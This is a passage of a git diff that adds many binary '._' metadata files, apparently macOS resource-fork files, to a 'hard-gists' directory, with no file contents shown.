Binary files /dev/null and b/hard-gists/._893580 differ
diff --git a/hard-gists/._893b63390160e33ddb3c b/hard-gists/._893b63390160e33ddb3c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._893b63390160e33ddb3c differ
diff --git a/hard-gists/._8949577 b/hard-gists/._8949577
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8949577 differ
diff --git a/hard-gists/._8951985 b/hard-gists/._8951985
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8951985 differ
diff --git a/hard-gists/._8957990 b/hard-gists/._8957990
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8957990 differ
diff --git a/hard-gists/._896603 b/hard-gists/._896603
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._896603 differ
diff --git a/hard-gists/._8969259 b/hard-gists/._8969259
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8969259 differ
diff --git a/hard-gists/._8973947 b/hard-gists/._8973947
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8973947 differ
diff --git a/hard-gists/._8974ac739d1ac9f60423 b/hard-gists/._8974ac739d1ac9f60423
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8974ac739d1ac9f60423 differ
diff --git a/hard-gists/._8982669 b/hard-gists/._8982669
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8982669 differ
diff --git a/hard-gists/._8983536 b/hard-gists/._8983536
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8983536 differ
diff --git a/hard-gists/._899524 b/hard-gists/._899524
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._899524 differ
diff --git a/hard-gists/._8a0f820261926e2f41cc b/hard-gists/._8a0f820261926e2f41cc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8a0f820261926e2f41cc differ
diff --git a/hard-gists/._8a16c8e30c954aec014d b/hard-gists/._8a16c8e30c954aec014d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8a16c8e30c954aec014d differ
diff --git a/hard-gists/._8a8095721ee81d49f16c b/hard-gists/._8a8095721ee81d49f16c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8a8095721ee81d49f16c differ
diff --git a/hard-gists/._8abc96b010820970f304 b/hard-gists/._8abc96b010820970f304
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8abc96b010820970f304 differ
diff --git a/hard-gists/._8abd37bf2d60cce6e01d b/hard-gists/._8abd37bf2d60cce6e01d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8abd37bf2d60cce6e01d differ
diff --git a/hard-gists/._8abe1d2f62400f87958d b/hard-gists/._8abe1d2f62400f87958d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8abe1d2f62400f87958d differ
diff --git a/hard-gists/._8ac8be9010ebfa59c599d7915e9a7a47 b/hard-gists/._8ac8be9010ebfa59c599d7915e9a7a47
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8ac8be9010ebfa59c599d7915e9a7a47 differ
diff --git a/hard-gists/._8ad859f30438f3be149fe9751391d037 b/hard-gists/._8ad859f30438f3be149fe9751391d037
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8ad859f30438f3be149fe9751391d037 differ
diff --git a/hard-gists/._8af030b2dd654273c5bc b/hard-gists/._8af030b2dd654273c5bc
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8af030b2dd654273c5bc differ
diff --git a/hard-gists/._8b100c205b8c35b3c8ce b/hard-gists/._8b100c205b8c35b3c8ce
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8b100c205b8c35b3c8ce differ
diff --git a/hard-gists/._8b1502a49d8b20a6ae70 b/hard-gists/._8b1502a49d8b20a6ae70
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8b1502a49d8b20a6ae70 differ
diff --git a/hard-gists/._8b1b456ec95d95c77d42 b/hard-gists/._8b1b456ec95d95c77d42
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8b1b456ec95d95c77d42 differ
diff --git a/hard-gists/._8b6f09310a847e0a7aed b/hard-gists/._8b6f09310a847e0a7aed
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8b6f09310a847e0a7aed differ
diff --git a/hard-gists/._8b799c0345eaba56cc8c b/hard-gists/._8b799c0345eaba56cc8c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8b799c0345eaba56cc8c differ
diff --git a/hard-gists/._8bb867dc631433c01fd0 b/hard-gists/._8bb867dc631433c01fd0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8bb867dc631433c01fd0 differ
diff --git a/hard-gists/._8bbcc202a915e965c6a6d4f561d0e482 b/hard-gists/._8bbcc202a915e965c6a6d4f561d0e482
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8bbcc202a915e965c6a6d4f561d0e482 differ
diff --git a/hard-gists/._8bc573bb3a970b1c214d b/hard-gists/._8bc573bb3a970b1c214d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8bc573bb3a970b1c214d differ
diff --git a/hard-gists/._8be20f6256f9fd474c05 b/hard-gists/._8be20f6256f9fd474c05
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8be20f6256f9fd474c05 differ
diff --git a/hard-gists/._8bfa8e25f36e6f619247203d1bc0291b b/hard-gists/._8bfa8e25f36e6f619247203d1bc0291b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8bfa8e25f36e6f619247203d1bc0291b differ
diff --git a/hard-gists/._8c6446457bcabf6e8e868e8717426ff4 b/hard-gists/._8c6446457bcabf6e8e868e8717426ff4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8c6446457bcabf6e8e868e8717426ff4 differ
diff --git a/hard-gists/._8c9644f9666d60cad37b b/hard-gists/._8c9644f9666d60cad37b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8c9644f9666d60cad37b differ
diff --git a/hard-gists/._8cb3aa12e73a6df8d6b6 b/hard-gists/._8cb3aa12e73a6df8d6b6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8cb3aa12e73a6df8d6b6 differ
diff --git a/hard-gists/._8ce64008710128f3a076 b/hard-gists/._8ce64008710128f3a076
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8ce64008710128f3a076 differ
diff --git a/hard-gists/._8cebde204781b7d27c90 b/hard-gists/._8cebde204781b7d27c90
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8cebde204781b7d27c90 differ
diff --git a/hard-gists/._8d1a9b14d4e9a9080ab4752608c2de61 b/hard-gists/._8d1a9b14d4e9a9080ab4752608c2de61
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8d1a9b14d4e9a9080ab4752608c2de61 differ
diff --git a/hard-gists/._8d36bc7ab765ee601403e90d1d2f303f b/hard-gists/._8d36bc7ab765ee601403e90d1d2f303f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8d36bc7ab765ee601403e90d1d2f303f differ
diff --git a/hard-gists/._8e2cf809155062082c838f7346e45fe8 b/hard-gists/._8e2cf809155062082c838f7346e45fe8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8e2cf809155062082c838f7346e45fe8 differ
diff --git a/hard-gists/._8e4b396a1c8a1f3f80d0 b/hard-gists/._8e4b396a1c8a1f3f80d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8e4b396a1c8a1f3f80d0 differ
diff --git a/hard-gists/._8e4bea946ab9c05347fe b/hard-gists/._8e4bea946ab9c05347fe
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8e4bea946ab9c05347fe differ
diff --git a/hard-gists/._8e7ab6fe8ad6d903aa0c b/hard-gists/._8e7ab6fe8ad6d903aa0c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8e7ab6fe8ad6d903aa0c differ
diff --git a/hard-gists/._8eabf18a6a79f5dbe3f4 b/hard-gists/._8eabf18a6a79f5dbe3f4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8eabf18a6a79f5dbe3f4 differ
diff --git a/hard-gists/._8f07d0bfadffd40fcf40cd49cb77382d b/hard-gists/._8f07d0bfadffd40fcf40cd49cb77382d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8f07d0bfadffd40fcf40cd49cb77382d differ
diff --git a/hard-gists/._8f3b0a678011ac74c61b b/hard-gists/._8f3b0a678011ac74c61b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8f3b0a678011ac74c61b differ
diff --git a/hard-gists/._8f6667310a94f0c18bda10a1d5ff578c b/hard-gists/._8f6667310a94f0c18bda10a1d5ff578c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8f6667310a94f0c18bda10a1d5ff578c differ
diff --git a/hard-gists/._8f9980999ed43246b9b2 b/hard-gists/._8f9980999ed43246b9b2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8f9980999ed43246b9b2 differ
diff --git a/hard-gists/._8fa6b37265d5394dd7a4 b/hard-gists/._8fa6b37265d5394dd7a4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8fa6b37265d5394dd7a4 differ
diff --git a/hard-gists/._8fdb62f7094e6a9829f2 b/hard-gists/._8fdb62f7094e6a9829f2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8fdb62f7094e6a9829f2 differ
diff --git a/hard-gists/._8ff161505721b6c4ab25ccfe7996fd1a b/hard-gists/._8ff161505721b6c4ab25ccfe7996fd1a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8ff161505721b6c4ab25ccfe7996fd1a differ
diff --git a/hard-gists/._8ff8e31ee1a2a9585a5a b/hard-gists/._8ff8e31ee1a2a9585a5a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._8ff8e31ee1a2a9585a5a differ
diff --git a/hard-gists/._9000222 b/hard-gists/._9000222
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9000222 differ
diff --git a/hard-gists/._900514 b/hard-gists/._900514
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._900514 differ
diff --git a/hard-gists/._9012444 b/hard-gists/._9012444
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9012444 differ
diff --git a/hard-gists/._9026148 b/hard-gists/._9026148
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9026148 differ
diff --git a/hard-gists/._9040475 b/hard-gists/._9040475
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9040475 differ
diff --git a/hard-gists/._905137 b/hard-gists/._905137
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._905137 differ
diff --git a/hard-gists/._905380 b/hard-gists/._905380
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._905380 differ
diff --git a/hard-gists/._9056ad6e642b814090829edffb4ffd27 b/hard-gists/._9056ad6e642b814090829edffb4ffd27
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9056ad6e642b814090829edffb4ffd27 differ
diff --git a/hard-gists/._9060558 b/hard-gists/._9060558
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9060558 differ
diff --git a/hard-gists/._9077495 b/hard-gists/._9077495
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9077495 differ
diff --git a/hard-gists/._9089444 b/hard-gists/._9089444
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9089444 differ
diff --git a/hard-gists/._908a8f99ea5c98cedb4aaf71c7a3324f b/hard-gists/._908a8f99ea5c98cedb4aaf71c7a3324f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._908a8f99ea5c98cedb4aaf71c7a3324f differ
diff --git a/hard-gists/._908ef5f4fa162f15b3b8 b/hard-gists/._908ef5f4fa162f15b3b8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._908ef5f4fa162f15b3b8 differ
diff --git a/hard-gists/._9090456 b/hard-gists/._9090456
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9090456 differ
diff --git a/hard-gists/._9098744 b/hard-gists/._9098744
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9098744 differ
diff --git a/hard-gists/._90a6d0f6789e15c38e97 b/hard-gists/._90a6d0f6789e15c38e97
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._90a6d0f6789e15c38e97 differ
diff --git a/hard-gists/._90fe4a3bc0caa582fc563ec503e5444c b/hard-gists/._90fe4a3bc0caa582fc563ec503e5444c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._90fe4a3bc0caa582fc563ec503e5444c differ
diff --git a/hard-gists/._910392 b/hard-gists/._910392
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._910392 differ
diff --git a/hard-gists/._910726 b/hard-gists/._910726
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._910726 differ
diff --git a/hard-gists/._9110299 b/hard-gists/._9110299
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9110299 differ
diff --git a/hard-gists/._9132441 b/hard-gists/._9132441
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9132441 differ
diff --git a/hard-gists/._91334d590b6592c0c960 b/hard-gists/._91334d590b6592c0c960
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._91334d590b6592c0c960 differ
diff --git a/hard-gists/._915335 b/hard-gists/._915335
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._915335 differ
diff --git a/hard-gists/._9160719 b/hard-gists/._9160719
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9160719 differ
diff --git a/hard-gists/._918751 b/hard-gists/._918751
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._918751 differ
diff --git a/hard-gists/._918d4ad7c931bc14b475008c00aa09f1 b/hard-gists/._918d4ad7c931bc14b475008c00aa09f1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._918d4ad7c931bc14b475008c00aa09f1 differ
diff --git a/hard-gists/._9218791 b/hard-gists/._9218791
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9218791 differ
diff --git a/hard-gists/._9218f99ba35da225ca11 b/hard-gists/._9218f99ba35da225ca11
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9218f99ba35da225ca11 differ
diff --git a/hard-gists/._9220847 b/hard-gists/._9220847
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9220847 differ
diff --git a/hard-gists/._9228580 b/hard-gists/._9228580
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9228580 differ
diff --git a/hard-gists/._922973 b/hard-gists/._922973
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._922973 differ
diff --git a/hard-gists/._925008 b/hard-gists/._925008
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._925008 differ
diff --git a/hard-gists/._925270 b/hard-gists/._925270
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._925270 differ
diff --git a/hard-gists/._9258971 b/hard-gists/._9258971
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9258971 differ
diff --git a/hard-gists/._9270848 b/hard-gists/._9270848
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9270848 differ
diff --git a/hard-gists/._92a2d05dd772778f86f2 b/hard-gists/._92a2d05dd772778f86f2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._92a2d05dd772778f86f2 differ
diff --git a/hard-gists/._92e65a8919b11d9310b32b194b09741c b/hard-gists/._92e65a8919b11d9310b32b194b09741c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._92e65a8919b11d9310b32b194b09741c differ
diff --git a/hard-gists/._9300560 b/hard-gists/._9300560
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9300560 differ
diff --git a/hard-gists/._9301467 b/hard-gists/._9301467
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9301467 differ
diff --git a/hard-gists/._930276 b/hard-gists/._930276
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._930276 differ
diff --git a/hard-gists/._931406 b/hard-gists/._931406
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._931406 differ
diff --git a/hard-gists/._9316552 b/hard-gists/._9316552
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9316552 differ
diff --git a/hard-gists/._931984 b/hard-gists/._931984
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._931984 differ
diff --git a/hard-gists/._931b0194242fca0e234e b/hard-gists/._931b0194242fca0e234e
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._931b0194242fca0e234e differ
diff --git a/hard-gists/._932345 b/hard-gists/._932345
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._932345 differ
diff --git a/hard-gists/._9335869 b/hard-gists/._9335869
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9335869 differ
diff --git a/hard-gists/._9343730 b/hard-gists/._9343730
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9343730 differ
diff --git a/hard-gists/._9345872 b/hard-gists/._9345872
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9345872 differ
diff --git a/hard-gists/._934a8308a4ec09e2e0756a313a915622 b/hard-gists/._934a8308a4ec09e2e0756a313a915622
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._934a8308a4ec09e2e0756a313a915622 differ
diff --git a/hard-gists/._9358479 b/hard-gists/._9358479
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9358479 differ
diff --git a/hard-gists/._9372073 b/hard-gists/._9372073
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9372073 differ
diff --git a/hard-gists/._937534 b/hard-gists/._937534
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._937534 differ
diff --git a/hard-gists/._9378601 b/hard-gists/._9378601
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9378601 differ
diff --git a/hard-gists/._939252 b/hard-gists/._939252
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._939252 differ
diff --git a/hard-gists/._9395cd6d36c7ac3be2d1 b/hard-gists/._9395cd6d36c7ac3be2d1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9395cd6d36c7ac3be2d1 differ
diff --git a/hard-gists/._9396204419c7b638d38f b/hard-gists/._9396204419c7b638d38f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9396204419c7b638d38f differ
diff --git a/hard-gists/._9397410 b/hard-gists/._9397410
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9397410 differ
diff --git a/hard-gists/._93e0ba46f0fa6faf660d b/hard-gists/._93e0ba46f0fa6faf660d
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._93e0ba46f0fa6faf660d differ
diff --git a/hard-gists/._944049 b/hard-gists/._944049
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._944049 differ
diff --git a/hard-gists/._94412c4808421acbd1d0 b/hard-gists/._94412c4808421acbd1d0
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._94412c4808421acbd1d0 differ
diff --git a/hard-gists/._944439a04546f4c02cb9 b/hard-gists/._944439a04546f4c02cb9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._944439a04546f4c02cb9 differ
diff --git a/hard-gists/._94456 b/hard-gists/._94456
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._94456 differ
diff --git a/hard-gists/._945093 b/hard-gists/._945093
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._945093 differ
diff --git a/hard-gists/._946582 b/hard-gists/._946582
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._946582 differ
diff --git a/hard-gists/._946c4d9aa7a74828bc12 b/hard-gists/._946c4d9aa7a74828bc12
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._946c4d9aa7a74828bc12 differ
diff --git a/hard-gists/._9481236 b/hard-gists/._9481236
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9481236 differ
diff --git a/hard-gists/._9497761 b/hard-gists/._9497761
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9497761 differ
diff --git a/hard-gists/._949ba045d1471c03ae7c b/hard-gists/._949ba045d1471c03ae7c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._949ba045d1471c03ae7c differ
diff --git a/hard-gists/._94a400a7bce6f8cfc9e7eff87270c9e9 b/hard-gists/._94a400a7bce6f8cfc9e7eff87270c9e9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._94a400a7bce6f8cfc9e7eff87270c9e9 differ
diff --git a/hard-gists/._94d747fe5180851196eb b/hard-gists/._94d747fe5180851196eb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._94d747fe5180851196eb differ
diff --git a/hard-gists/._94e623123f20566d158569a2ef3b25a2 b/hard-gists/._94e623123f20566d158569a2ef3b25a2
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._94e623123f20566d158569a2ef3b25a2 differ
diff --git a/hard-gists/._9502024 b/hard-gists/._9502024
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9502024 differ
diff --git a/hard-gists/._9507070 b/hard-gists/._9507070
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9507070 differ
diff --git a/hard-gists/._950bbb9d9d4014d893e5 b/hard-gists/._950bbb9d9d4014d893e5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._950bbb9d9d4014d893e5 differ
diff --git a/hard-gists/._9542707 b/hard-gists/._9542707
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9542707 differ
diff --git a/hard-gists/._9574251b3c7eefccd84fc38905110ce4 b/hard-gists/._9574251b3c7eefccd84fc38905110ce4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9574251b3c7eefccd84fc38905110ce4 differ
diff --git a/hard-gists/._95a2a749ceb47ad4eb1ff6d1f8d73c5c b/hard-gists/._95a2a749ceb47ad4eb1ff6d1f8d73c5c
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._95a2a749ceb47ad4eb1ff6d1f8d73c5c differ
diff --git a/hard-gists/._95c61c9a1501ada2a6c5 b/hard-gists/._95c61c9a1501ada2a6c5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._95c61c9a1501ada2a6c5 differ
diff --git a/hard-gists/._95c66d564c58361ecf9f b/hard-gists/._95c66d564c58361ecf9f
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._95c66d564c58361ecf9f differ
diff --git a/hard-gists/._95f97485ada5b47693ca b/hard-gists/._95f97485ada5b47693ca
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._95f97485ada5b47693ca differ
diff --git a/hard-gists/._964472 b/hard-gists/._964472
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._964472 differ
diff --git a/hard-gists/._964622 b/hard-gists/._964622
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._964622 differ
diff --git a/hard-gists/._9646279d220994222845 b/hard-gists/._9646279d220994222845
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9646279d220994222845 differ
diff --git a/hard-gists/._9649532644540b5b798308f66699ef67 b/hard-gists/._9649532644540b5b798308f66699ef67
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9649532644540b5b798308f66699ef67 differ
diff --git a/hard-gists/._9655195 b/hard-gists/._9655195
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9655195 differ
diff --git a/hard-gists/._966387 b/hard-gists/._966387
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._966387 differ
diff --git a/hard-gists/._9667052 b/hard-gists/._9667052
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9667052 differ
diff --git a/hard-gists/._9670681 b/hard-gists/._9670681
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9670681 differ
diff --git a/hard-gists/._967274 b/hard-gists/._967274
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._967274 differ
diff --git a/hard-gists/._9673839 b/hard-gists/._9673839
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9673839 differ
diff --git a/hard-gists/._9674216 b/hard-gists/._9674216
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9674216 differ
diff --git a/hard-gists/._9676416 b/hard-gists/._9676416
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9676416 differ
diff --git a/hard-gists/._9679647 b/hard-gists/._9679647
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9679647 differ
diff --git a/hard-gists/._9680901 b/hard-gists/._9680901
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9680901 differ
diff --git a/hard-gists/._9683c333e73a82379b8e377eb2e6fc41 b/hard-gists/._9683c333e73a82379b8e377eb2e6fc41
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9683c333e73a82379b8e377eb2e6fc41 differ
diff --git a/hard-gists/._968909 b/hard-gists/._968909
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._968909 differ
diff --git a/hard-gists/._969ea467e870b68963f3 b/hard-gists/._969ea467e870b68963f3
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._969ea467e870b68963f3 differ
diff --git a/hard-gists/._96a329f6d12f17b4760373b1cf3b92e9 b/hard-gists/._96a329f6d12f17b4760373b1cf3b92e9
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._96a329f6d12f17b4760373b1cf3b92e9 differ
diff --git a/hard-gists/._96ec9b3c5df60a07b216 b/hard-gists/._96ec9b3c5df60a07b216
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._96ec9b3c5df60a07b216 differ
diff --git a/hard-gists/._9705471 b/hard-gists/._9705471
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9705471 differ
diff --git a/hard-gists/._9709984 b/hard-gists/._9709984
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9709984 differ
diff --git a/hard-gists/._9716578 b/hard-gists/._9716578
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9716578 differ
diff --git a/hard-gists/._9722045 b/hard-gists/._9722045
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9722045 differ
diff --git a/hard-gists/._97256 b/hard-gists/._97256
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._97256 differ
diff --git a/hard-gists/._9747287 b/hard-gists/._9747287
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9747287 differ
diff --git a/hard-gists/._9750796 b/hard-gists/._9750796
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9750796 differ
diff --git a/hard-gists/._9763549 b/hard-gists/._9763549
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9763549 differ
diff --git a/hard-gists/._9768713 b/hard-gists/._9768713
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9768713 differ
diff --git a/hard-gists/._9771f75e3f16ba5daafb b/hard-gists/._9771f75e3f16ba5daafb
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9771f75e3f16ba5daafb differ
diff --git a/hard-gists/._9773143 b/hard-gists/._9773143
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._9773143 differ
